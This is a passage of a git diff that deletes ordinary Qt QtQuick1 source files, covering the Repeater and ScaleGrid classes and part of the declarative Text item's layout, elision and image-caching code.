-class Q_AUTOTEST_EXPORT QDeclarative1Repeater : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged) - Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) - Q_PROPERTY(int count READ count NOTIFY countChanged) - Q_CLASSINFO("DefaultProperty", "delegate") - -public: - QDeclarative1Repeater(QDeclarativeItem *parent=0); - virtual ~QDeclarative1Repeater(); - - QVariant model() const; - void setModel(const QVariant &); - - QDeclarativeComponent *delegate() const; - void setDelegate(QDeclarativeComponent *); - - int count() const; - - Q_INVOKABLE Q_REVISION(1) QDeclarativeItem *itemAt(int index) const; - -Q_SIGNALS: - void modelChanged(); - void delegateChanged(); - void countChanged(); - - Q_REVISION(1) void itemAdded(int index, QDeclarativeItem *item); - Q_REVISION(1) void itemRemoved(int index, QDeclarativeItem *item); - -private: - void clear(); - void regenerate(); - -protected: - virtual void componentComplete(); - QVariant itemChange(GraphicsItemChange change, const QVariant &value); - -private Q_SLOTS: - void itemsInserted(int,int); - void itemsRemoved(int,int); - void itemsMoved(int,int,int); - void modelReset(); - -private: - Q_DISABLE_COPY(QDeclarative1Repeater) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Repeater) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Repeater) - -QT_END_HEADER - -#endif // QDECLARATIVEREPEATER_H diff --git a/src/qtquick1/graphicsitems/qdeclarativerepeater_p_p.h b/src/qtquick1/graphicsitems/qdeclarativerepeater_p_p.h deleted file mode 100644 index dcc5a00592..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativerepeater_p_p.h +++ /dev/null @@ -1,82 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEREPEATER_P_H -#define QDECLARATIVEREPEATER_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativerepeater_p.h" - -#include "private/qdeclarativeitem_p.h" - -#include - -QT_BEGIN_NAMESPACE - -class QDeclarativeContext; -class QDeclarative1VisualModel; -class QDeclarative1RepeaterPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Repeater) - -public: - QDeclarative1RepeaterPrivate(); - ~QDeclarative1RepeaterPrivate(); - - QDeclarative1VisualModel *model; - QVariant dataSource; - bool ownModel; - - QList > deletables; -}; - -QT_END_NAMESPACE -#endif // QDECLARATIVEREPEATER_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp b/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp deleted file mode 100644 index 542f6e8b08..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp +++ /dev/null @@ -1,219 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativescalegrid_p_p.h" - -#include - -#include -#include - -QT_BEGIN_NAMESPACE - - -/*! - \internal - \class QDeclarative1ScaleGrid - \brief The QDeclarative1ScaleGrid class allows you to specify a 3x3 grid to use in scaling an image. -*/ - -QDeclarative1ScaleGrid::QDeclarative1ScaleGrid(QObject *parent) : QObject(parent), _left(0), _top(0), _right(0), _bottom(0) -{ -} - -QDeclarative1ScaleGrid::~QDeclarative1ScaleGrid() -{ -} - -bool QDeclarative1ScaleGrid::isNull() const -{ - return !_left && !_top && !_right && !_bottom; -} - -void QDeclarative1ScaleGrid::setLeft(int pos) -{ - if (_left != pos) { - _left = pos; - emit borderChanged(); - } -} - -void QDeclarative1ScaleGrid::setTop(int pos) -{ - if (_top != pos) { - _top = pos; - emit borderChanged(); - } -} - -void QDeclarative1ScaleGrid::setRight(int pos) -{ - if (_right != pos) { - _right = pos; - emit borderChanged(); - } -} - -void QDeclarative1ScaleGrid::setBottom(int pos) -{ - if (_bottom != pos) { - _bottom = pos; - emit borderChanged(); - } -} - -QDeclarative1GridScaledImage::QDeclarative1GridScaledImage() -: _l(-1), _r(-1), _t(-1), _b(-1), - _h(QDeclarative1BorderImage::Stretch), _v(QDeclarative1BorderImage::Stretch) -{ -} - -QDeclarative1GridScaledImage::QDeclarative1GridScaledImage(const QDeclarative1GridScaledImage &o) -: _l(o._l), _r(o._r), _t(o._t), _b(o._b), _h(o._h), _v(o._v), _pix(o._pix) -{ -} - -QDeclarative1GridScaledImage &QDeclarative1GridScaledImage::operator=(const QDeclarative1GridScaledImage &o) -{ - _l = o._l; - _r = o._r; - _t = o._t; - _b = o._b; - _h = o._h; - _v = o._v; - _pix = o._pix; - return *this; -} - -QDeclarative1GridScaledImage::QDeclarative1GridScaledImage(QIODevice *data) -: _l(-1), _r(-1), _t(-1), _b(-1), _h(QDeclarative1BorderImage::Stretch), _v(QDeclarative1BorderImage::Stretch) -{ - int l = -1; - int r = -1; - int t = -1; - int b = -1; - QString imgFile; - - QByteArray raw; - while(raw = data->readLine(), !raw.isEmpty()) { - QString line = QString::fromUtf8(raw.trimmed()); - if (line.isEmpty() || line.startsWith(QLatin1Char('#'))) - continue; - - int colonId = line.indexOf(QLatin1Char(':')); - if (colonId <= 0) - return; - QStringList list; - list.append(line.left(colonId).trimmed()); - list.append(line.mid(colonId+1).trimmed()); - - if (list[0] == QLatin1String("border.left")) - l = list[1].toInt(); - else if (list[0] == QLatin1String("border.right")) - r = list[1].toInt(); - else if (list[0] == QLatin1String("border.top")) - t = list[1].toInt(); - else if (list[0] == QLatin1String("border.bottom")) - b = list[1].toInt(); - else if (list[0] == QLatin1String("source")) - imgFile = list[1]; - else if (list[0] == QLatin1String("horizontalTileRule")) - _h = stringToRule(list[1]); - else if (list[0] == QLatin1String("verticalTileRule")) - _v = stringToRule(list[1]); - } - - if (l < 0 || r < 0 || t < 0 || b < 0 || imgFile.isEmpty()) - return; - - _l = l; _r = r; _t = t; _b = b; - - _pix = imgFile; - if (_pix.startsWith(QLatin1Char('"')) && _pix.endsWith(QLatin1Char('"'))) - _pix = _pix.mid(1, _pix.size() - 2); // remove leading/trailing quotes. -} - -QDeclarative1BorderImage::TileMode QDeclarative1GridScaledImage::stringToRule(const QString &s) -{ - if (s == QLatin1String("Stretch")) - return QDeclarative1BorderImage::Stretch; - if (s == QLatin1String("Repeat")) - return QDeclarative1BorderImage::Repeat; - if (s == QLatin1String("Round")) - return QDeclarative1BorderImage::Round; - - qWarning("QDeclarative1GridScaledImage: Invalid tile rule specified. Using Stretch."); - return QDeclarative1BorderImage::Stretch; -} - -bool QDeclarative1GridScaledImage::isValid() const -{ - return _l >= 0; -} - -int QDeclarative1GridScaledImage::gridLeft() const -{ - return _l; -} - -int QDeclarative1GridScaledImage::gridRight() const -{ - return _r; -} - -int QDeclarative1GridScaledImage::gridTop() const -{ - return _t; -} - -int QDeclarative1GridScaledImage::gridBottom() const -{ - return _b; -} - -QString QDeclarative1GridScaledImage::pixmapUrl() const -{ - return _pix; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativescalegrid_p_p.h b/src/qtquick1/graphicsitems/qdeclarativescalegrid_p_p.h deleted file mode 100644 index d9df5748e0..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativescalegrid_p_p.h +++ /dev/null @@ -1,133 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESCALEGRID_H -#define QDECLARATIVESCALEGRID_H - -#include - -#include -#include - -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class Q_QTQUICK1_EXPORT QDeclarative1ScaleGrid : public QObject -{ - Q_OBJECT - Q_ENUMS(TileRule) - - Q_PROPERTY(int left READ left WRITE setLeft NOTIFY borderChanged) - Q_PROPERTY(int top READ top WRITE setTop NOTIFY borderChanged) - Q_PROPERTY(int right READ right WRITE setRight NOTIFY borderChanged) - Q_PROPERTY(int bottom READ bottom WRITE setBottom NOTIFY borderChanged) - -public: - QDeclarative1ScaleGrid(QObject *parent=0); - ~QDeclarative1ScaleGrid(); - - bool isNull() const; - - int left() const { return _left; } - void setLeft(int); - - int top() const { return _top; } - void setTop(int); - - int right() const { return _right; } - void setRight(int); - - int bottom() const { return _bottom; } - void setBottom(int); - -Q_SIGNALS: - void borderChanged(); - -private: - int _left; - int _top; - int _right; - int _bottom; -}; - -class Q_QTQUICK1_EXPORT QDeclarative1GridScaledImage -{ -public: - QDeclarative1GridScaledImage(); - QDeclarative1GridScaledImage(const QDeclarative1GridScaledImage &); - QDeclarative1GridScaledImage(QIODevice*); - QDeclarative1GridScaledImage &operator=(const QDeclarative1GridScaledImage &); - bool isValid() const; - int gridLeft() const; - int gridRight() const; - int gridTop() const; - int gridBottom() const; - QDeclarative1BorderImage::TileMode horizontalTileRule() const { return _h; } - QDeclarative1BorderImage::TileMode verticalTileRule() const { return _v; } - - QString pixmapUrl() const; - -private: - static QDeclarative1BorderImage::TileMode stringToRule(const QString &); - -private: - int _l; - int _r; - int _t; - int _b; - QDeclarative1BorderImage::TileMode _h; - QDeclarative1BorderImage::TileMode _v; - QString _pix; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1ScaleGrid) - -QT_END_HEADER - -#endif // QDECLARATIVESCALEGRID_H diff --git a/src/qtquick1/graphicsitems/qdeclarativetext.cpp b/src/qtquick1/graphicsitems/qdeclarativetext.cpp deleted file mode 100644 index 490c10aac9..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetext.cpp +++ /dev/null @@ -1,1647 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativetext_p.h" -#include "QtQuick1/private/qdeclarativetext_p_p.h" -#include "QtQuick1/private/qdeclarativestyledtext_p.h" -#include -#include "QtQuick1/private/qdeclarativepixmapcache_p.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled; - -class QTextDocumentWithImageResources_1 : public QTextDocument { - Q_OBJECT - -public: - QTextDocumentWithImageResources_1(QDeclarative1Text *parent); - virtual ~QTextDocumentWithImageResources_1(); - - void setText(const QString &); - int resourcesLoading() const { return outstanding; } - -protected: - QVariant loadResource(int type, const QUrl &name); - -private slots: - void requestFinished(); - -private: - QHash m_resources; - - int outstanding; - static QSet errors; -}; - - -QTextDocumentWithImageResources_1::QTextDocumentWithImageResources_1(QDeclarative1Text *parent) -: QTextDocument(parent), outstanding(0) -{ -} - -QTextDocumentWithImageResources_1::~QTextDocumentWithImageResources_1() -{ - if (!m_resources.isEmpty()) - qDeleteAll(m_resources); -} - -QVariant QTextDocumentWithImageResources_1::loadResource(int type, const QUrl &name) -{ - QDeclarativeContext *context = qmlContext(parent()); - QUrl url = context->resolvedUrl(name); - - if (type == QTextDocument::ImageResource) { - QHash::Iterator iter = m_resources.find(url); - - if (iter == m_resources.end()) { - QDeclarative1Pixmap *p = new QDeclarative1Pixmap(context->engine(), url); - iter = m_resources.insert(name, p); - - if (p->isLoading()) { - p->connectFinished(this, SLOT(requestFinished())); - outstanding++; - } - } - - QDeclarative1Pixmap *p = *iter; - if (p->isReady()) { - return p->pixmap(); - } else if (p->isError()) { - if (!errors.contains(url)) { - errors.insert(url); - qmlInfo(parent()) << p->error(); - } - } - } - - return QTextDocument::loadResource(type,url); // The *resolved* URL -} - -void QTextDocumentWithImageResources_1::requestFinished() -{ - outstanding--; - if (outstanding == 0) { - QDeclarative1Text *textItem = static_cast(parent()); - QString text = textItem->text(); -#ifndef QT_NO_TEXTHTMLPARSER - setHtml(text); -#else - setPlainText(text); -#endif - QDeclarative1TextPrivate *d = QDeclarative1TextPrivate::get(textItem); - d->updateLayout(); - } -} - -void QTextDocumentWithImageResources_1::setText(const QString &text) -{ - if (!m_resources.isEmpty()) { - qDeleteAll(m_resources); - m_resources.clear(); - outstanding = 0; - } - -#ifndef QT_NO_TEXTHTMLPARSER - setHtml(text); -#else - setPlainText(text); -#endif -} - -QSet QTextDocumentWithImageResources_1::errors; - -QDeclarative1TextPrivate::~QDeclarative1TextPrivate() -{ -} - -DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE); - -QString QDeclarative1TextPrivate::elideChar = QString(0x2026); - -QDeclarative1TextPrivate::QDeclarative1TextPrivate() -: color((QRgb)0), style(QDeclarative1Text::Normal), hAlign(QDeclarative1Text::AlignLeft), - vAlign(QDeclarative1Text::AlignTop), elideMode(QDeclarative1Text::ElideNone), - format(QDeclarative1Text::AutoText), wrapMode(QDeclarative1Text::NoWrap), lineHeight(1), - lineHeightMode(QDeclarative1Text::ProportionalHeight), lineCount(1), truncated(false), maximumLineCount(INT_MAX), - maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false), - cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), hAlignImplicit(true), - rightToLeftText(false), layoutTextElided(false), naturalWidth(0), doc(0) -{ - cacheAllTextAsImage = enableImageCache(); - QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton; - QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; -} - -qreal QDeclarative1TextPrivate::implicitWidth() const -{ - if (!requireImplicitWidth) { - // We don't calculate implicitWidth unless it is required. - // We need to force a size update now to ensure implicitWidth is calculated - QDeclarative1TextPrivate *me = const_cast(this); - me->requireImplicitWidth = true; - me->updateSize(); - } - return mImplicitWidth; -} - -void QDeclarative1TextPrivate::updateLayout() -{ - Q_Q(QDeclarative1Text); - if (!q->isComponentComplete()) { - updateOnComponentComplete = true; - return; - } - - layoutTextElided = false; - // Setup instance of QTextLayout for all cases other than richtext - if (!richText) { - layout.clearLayout(); - layout.setFont(font); - if (format != QDeclarative1Text::StyledText) { - QString tmp = text; - tmp.replace(QLatin1Char('\n'), QChar::LineSeparator); - singleline = !tmp.contains(QChar::LineSeparator); - if (singleline && !maximumLineCountValid && elideMode != QDeclarative1Text::ElideNone && q->widthValid()) { - QFontMetrics fm(font); - tmp = fm.elidedText(tmp,(Qt::TextElideMode)elideMode,q->width()); - if (tmp != text) { - layoutTextElided = true; - if (!truncated) { - truncated = true; - emit q->truncatedChanged(); - } - } - } - layout.setText(tmp); - } else { - singleline = false; - QDeclarative1StyledText::parse(text, layout); - } - } - - updateSize(); -} - -void QDeclarative1TextPrivate::updateSize() -{ - Q_Q(QDeclarative1Text); - - if (!q->isComponentComplete()) { - updateOnComponentComplete = true; - return; - } - - if (!requireImplicitWidth) { - emit q->implicitWidthChanged(); - // if the implicitWidth is used, then updateSize() has already been called (recursively) - if (requireImplicitWidth) - return; - } - - invalidateImageCache(); - - QFontMetrics fm(font); - if (text.isEmpty()) { - q->setImplicitWidth(0); - q->setImplicitHeight(fm.height()); - paintedSize = QSize(0, fm.height()); - emit q->paintedSizeChanged(); - q->update(); - return; - } - - int dy = q->height(); - QSize size(0, 0); - - //setup instance of QTextLayout for all cases other than richtext - if (!richText) { - QRect textRect = setupTextLayout(); - if (layedOutTextRect.size() != textRect.size()) - q->prepareGeometryChange(); - layedOutTextRect = textRect; - size = textRect.size(); - dy -= size.height(); - } else { - singleline = false; // richtext can't elide or be optimized for single-line case - ensureDoc(); - doc->setDefaultFont(font); - - QDeclarative1Text::HAlignment horizontalAlignment = q->effectiveHAlign(); - if (rightToLeftText) { - if (horizontalAlignment == QDeclarative1Text::AlignLeft) - horizontalAlignment = QDeclarative1Text::AlignRight; - else if (horizontalAlignment == QDeclarative1Text::AlignRight) - horizontalAlignment = QDeclarative1Text::AlignLeft; - } - QTextOption option; - option.setAlignment((Qt::Alignment)int(horizontalAlignment | vAlign)); - option.setWrapMode(QTextOption::WrapMode(wrapMode)); - doc->setDefaultTextOption(option); - if (requireImplicitWidth && q->widthValid()) { - doc->setTextWidth(-1); - naturalWidth = doc->idealWidth(); - } - if (wrapMode != QDeclarative1Text::NoWrap && q->widthValid()) - doc->setTextWidth(q->width()); - else - doc->setTextWidth(doc->idealWidth()); // ### Text does not align if width is not set (QTextDoc bug) - dy -= (int)doc->size().height(); - QSize dsize = doc->size().toSize(); - if (dsize != layedOutTextRect.size()) { - q->prepareGeometryChange(); - layedOutTextRect = QRect(QPoint(0,0), dsize); - } - size = QSize(int(doc->idealWidth()),dsize.height()); - } - int yoff = 0; - - if (q->heightValid()) { - if (vAlign == QDeclarative1Text::AlignBottom) - yoff = dy; - else if (vAlign == QDeclarative1Text::AlignVCenter) - yoff = dy/2; - } - q->setBaselineOffset(fm.ascent() + yoff); - - //### need to comfirm cost of always setting these for richText - internalWidthUpdate = true; - if (!q->widthValid()) - q->setImplicitWidth(size.width()); - else if (requireImplicitWidth) - q->setImplicitWidth(naturalWidth); - internalWidthUpdate = false; - q->setImplicitHeight(size.height()); - if (paintedSize != size) { - paintedSize = size; - emit q->paintedSizeChanged(); - } - q->update(); -} - -/*! - Lays out the QDeclarative1TextPrivate::layout QTextLayout in the constraints of the QDeclarative1Text. - - Returns the size of the final text. This can be used to position the text vertically (the text is - already absolutely positioned horizontally). -*/ -QRect QDeclarative1TextPrivate::setupTextLayout() -{ - // ### text layout handling should be profiled and optimized as needed - // what about QStackTextEngine engine(tmp, d->font.font()); QTextLayout textLayout(&engine); - Q_Q(QDeclarative1Text); - layout.setCacheEnabled(true); - - qreal lineWidth = 0; - int visibleCount = 0; - - //set manual width - if (q->widthValid()) - lineWidth = q->width(); - - QTextOption textOption = layout.textOption(); - textOption.setAlignment(Qt::Alignment(q->effectiveHAlign())); - textOption.setWrapMode(QTextOption::WrapMode(wrapMode)); - layout.setTextOption(textOption); - - bool elideText = false; - bool truncate = false; - - QFontMetrics fm(layout.font()); - elidePos = QPointF(); - - if (requireImplicitWidth && q->widthValid()) { - // requires an extra layout - QString elidedText; - if (layoutTextElided) { - // We have provided elided text to the layout, but we must calculate unelided width. - elidedText = layout.text(); - layout.setText(text); - } - layout.beginLayout(); - forever { - QTextLine line = layout.createLine(); - if (!line.isValid()) - break; - } - layout.endLayout(); - QRectF br; - for (int i = 0; i < layout.lineCount(); ++i) { - QTextLine line = layout.lineAt(i); - br = br.united(line.naturalTextRect()); - } - naturalWidth = br.width(); - if (layoutTextElided) - layout.setText(elidedText); - } - - if (maximumLineCountValid) { - layout.beginLayout(); - if (!lineWidth) - lineWidth = INT_MAX; - int linesLeft = maximumLineCount; - int visibleTextLength = 0; - while (linesLeft > 0) { - QTextLine line = layout.createLine(); - if (!line.isValid()) - break; - - visibleCount++; - if (lineWidth) - line.setLineWidth(lineWidth); - visibleTextLength += line.textLength(); - - if (--linesLeft == 0) { - if (visibleTextLength < text.length()) { - truncate = true; - if (elideMode==QDeclarative1Text::ElideRight && q->widthValid()) { - qreal elideWidth = fm.width(elideChar); - // Need to correct for alignment - line.setLineWidth(lineWidth-elideWidth); - if (layout.text().mid(line.textStart(), line.textLength()).isRightToLeft()) { - line.setPosition(QPointF(line.position().x() + elideWidth, line.position().y())); - elidePos.setX(line.naturalTextRect().left() - elideWidth); - } else { - elidePos.setX(line.naturalTextRect().right()); - } - elideText = true; - } - } - } - } - layout.endLayout(); - - //Update truncated - if (truncated != truncate) { - truncated = truncate; - emit q->truncatedChanged(); - } - } else { - layout.beginLayout(); - forever { - QTextLine line = layout.createLine(); - if (!line.isValid()) - break; - visibleCount++; - if (lineWidth) - line.setLineWidth(lineWidth); - } - layout.endLayout(); - } - - qreal height = 0; - QRectF br; - for (int i = 0; i < layout.lineCount(); ++i) { - QTextLine line = layout.lineAt(i); - // set line spacing - line.setPosition(QPointF(line.position().x(), height)); - if (elideText && i == layout.lineCount()-1) { - elidePos.setY(height + fm.ascent()); - br = br.united(QRectF(elidePos, QSizeF(fm.width(elideChar), fm.ascent()))); - } - br = br.united(line.naturalTextRect()); - height += (lineHeightMode == QDeclarative1Text::FixedHeight) ? lineHeight : line.height() * lineHeight; - } - br.setHeight(height); - - if (!q->widthValid()) - naturalWidth = br.width(); - - //Update the number of visible lines - if (lineCount != visibleCount) { - lineCount = visibleCount; - emit q->lineCountChanged(); - } - - return QRect(qRound(br.x()), qRound(br.y()), qCeil(br.width()), qCeil(br.height())); -} - -/*! - Returns a painted version of the QDeclarative1TextPrivate::layout QTextLayout. - If \a drawStyle is true, the style color overrides all colors in the document. -*/ -QPixmap QDeclarative1TextPrivate::textLayoutImage(bool drawStyle) -{ - //do layout - QSize size = layedOutTextRect.size(); - //paint text - QPixmap img(size); - if (!size.isEmpty()) { - img.fill(Qt::transparent); -#ifdef Q_WS_MAC - bool oldSmooth = qt_applefontsmoothing_enabled; - qt_applefontsmoothing_enabled = false; -#endif - QPainter p(&img); -#ifdef Q_WS_MAC - qt_applefontsmoothing_enabled = oldSmooth; -#endif - drawTextLayout(&p, QPointF(-layedOutTextRect.x(),0), drawStyle); - } - return img; -} - -/*! - Paints the QDeclarative1TextPrivate::layout QTextLayout into \a painter at \a pos. If - \a drawStyle is true, the style color overrides all colors in the document. -*/ -void QDeclarative1TextPrivate::drawTextLayout(QPainter *painter, const QPointF &pos, bool drawStyle) -{ - if (drawStyle) - painter->setPen(styleColor); - else - painter->setPen(color); - painter->setFont(font); - layout.draw(painter, pos); - if (!elidePos.isNull()) - painter->drawText(pos + elidePos, elideChar); -} - -/*! - Returns a painted version of the QDeclarative1TextPrivate::doc QTextDocument. - If \a drawStyle is true, the style color overrides all colors in the document. -*/ -QPixmap QDeclarative1TextPrivate::textDocumentImage(bool drawStyle) -{ - QSize size = doc->size().toSize(); - - //paint text - QPixmap img(size); - img.fill(Qt::transparent); -#ifdef Q_WS_MAC - bool oldSmooth = qt_applefontsmoothing_enabled; - qt_applefontsmoothing_enabled = false; -#endif - QPainter p(&img); -#ifdef Q_WS_MAC - qt_applefontsmoothing_enabled = oldSmooth; -#endif - - QAbstractTextDocumentLayout::PaintContext context; - - QTextOption oldOption(doc->defaultTextOption()); - if (drawStyle) { - context.palette.setColor(QPalette::Text, styleColor); - QTextOption colorOption(doc->defaultTextOption()); - colorOption.setFlags(QTextOption::SuppressColors); - doc->setDefaultTextOption(colorOption); - } else { - context.palette.setColor(QPalette::Text, color); - } - doc->documentLayout()->draw(&p, context); - if (drawStyle) - doc->setDefaultTextOption(oldOption); - return img; -} - -/*! - Mark the image cache as dirty. -*/ -void QDeclarative1TextPrivate::invalidateImageCache() -{ - Q_Q(QDeclarative1Text); - - if(cacheAllTextAsImage || style != QDeclarative1Text::Normal){//If actually using the image cache - if (imageCacheDirty) - return; - - imageCacheDirty = true; - imageCache = QPixmap(); - } - if (q->isComponentComplete()) - q->update(); -} - -/*! - Tests if the image cache is dirty, and repaints it if it is. -*/ -void QDeclarative1TextPrivate::checkImageCache() -{ - if (!imageCacheDirty) - return; - - if (text.isEmpty()) { - - imageCache = QPixmap(); - - } else { - - QPixmap textImage; - QPixmap styledImage; - - if (richText) { - textImage = textDocumentImage(false); - if (style != QDeclarative1Text::Normal) - styledImage = textDocumentImage(true); //### should use styleColor - } else { - textImage = textLayoutImage(false); - if (style != QDeclarative1Text::Normal) - styledImage = textLayoutImage(true); //### should use styleColor - } - - switch (style) { - case QDeclarative1Text::Outline: - imageCache = drawOutline(textImage, styledImage); - break; - case QDeclarative1Text::Sunken: - imageCache = drawOutline(textImage, styledImage, -1); - break; - case QDeclarative1Text::Raised: - imageCache = drawOutline(textImage, styledImage, 1); - break; - default: - imageCache = textImage; - break; - } - - } - - imageCacheDirty = false; -} - -/*! - Ensures the QDeclarative1TextPrivate::doc variable is set to a valid text document -*/ -void QDeclarative1TextPrivate::ensureDoc() -{ - if (!doc) { - Q_Q(QDeclarative1Text); - doc = new QTextDocumentWithImageResources_1(q); - doc->setDocumentMargin(0); - } -} - -/*! - Draw \a styleSource as an outline around \a source and return the new image. -*/ -QPixmap QDeclarative1TextPrivate::drawOutline(const QPixmap &source, const QPixmap &styleSource) -{ - QPixmap img = QPixmap(styleSource.width() + 2, styleSource.height() + 2); - img.fill(Qt::transparent); - - QPainter ppm(&img); - - QPoint pos(0, 0); - pos += QPoint(-1, 0); - ppm.drawPixmap(pos, styleSource); - pos += QPoint(2, 0); - ppm.drawPixmap(pos, styleSource); - pos += QPoint(-1, -1); - ppm.drawPixmap(pos, styleSource); - pos += QPoint(0, 2); - ppm.drawPixmap(pos, styleSource); - - pos += QPoint(0, -1); - ppm.drawPixmap(pos, source); - ppm.end(); - - return img; -} - -/*! - Draw \a styleSource below \a source at \a yOffset and return the new image. -*/ -QPixmap QDeclarative1TextPrivate::drawOutline(const QPixmap &source, const QPixmap &styleSource, int yOffset) -{ - QPixmap img = QPixmap(styleSource.width() + 2, styleSource.height() + 2); - img.fill(Qt::transparent); - - QPainter ppm(&img); - - ppm.drawPixmap(QPoint(0, yOffset), styleSource); - ppm.drawPixmap(0, 0, source); - - ppm.end(); - - return img; -} - -/*! - \qmlclass Text QDeclarative1Text - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 